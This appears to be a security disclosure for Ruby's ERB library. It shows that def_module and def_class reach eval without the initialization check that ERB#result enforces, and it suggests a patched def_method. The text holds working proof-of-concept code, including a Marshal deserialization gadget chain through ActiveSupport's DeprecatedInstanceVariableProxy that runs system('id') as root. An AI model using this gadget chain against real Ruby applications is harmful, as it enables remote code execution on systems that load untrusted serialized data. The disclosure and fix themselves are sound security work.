##### erb.rb line 838
@​_init = self.class.singleton_class

##### erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @​_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@​src, b, (@​filename || '(erb)'), @​lineno)
end

##### erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @&#8203;_init check
  end
end

##### erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @&#8203;filename || '(ERB)')
  mod
end

##### erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @&#8203;filename || '(ERB)')
  cls
end

##### Attacker sets @​src = "end\nsystem('id')\ndef x"
##### After def_method transformation, module_eval receives:

#
#####   def erb

#####   end
#####   system('id')    <- executes at eval time

#####   def x
#####   end

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@​src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@​lineno, 0)

##### ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @​_init -- correct)"
end

##### ERB#def_module does NOT block this -- executes system('id'):
erb.def_module

##### Output: uid=0(root) gid=0(root) groups=0(root)

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

##### --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@​src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@​lineno, 0)
erb.instance_variable_set(:@​filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@​instance => erb,
  :@​method => :def_module,
  :@​var => "@​x",
  :@​deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

##### --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

##### This triggers RCE:
Marshal.load(marshaled)

##### Output: uid=0(root) gid=0(root) groups=0(root)

def def_method(mod, methodname, fname='(ERB)')
  unless @​_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end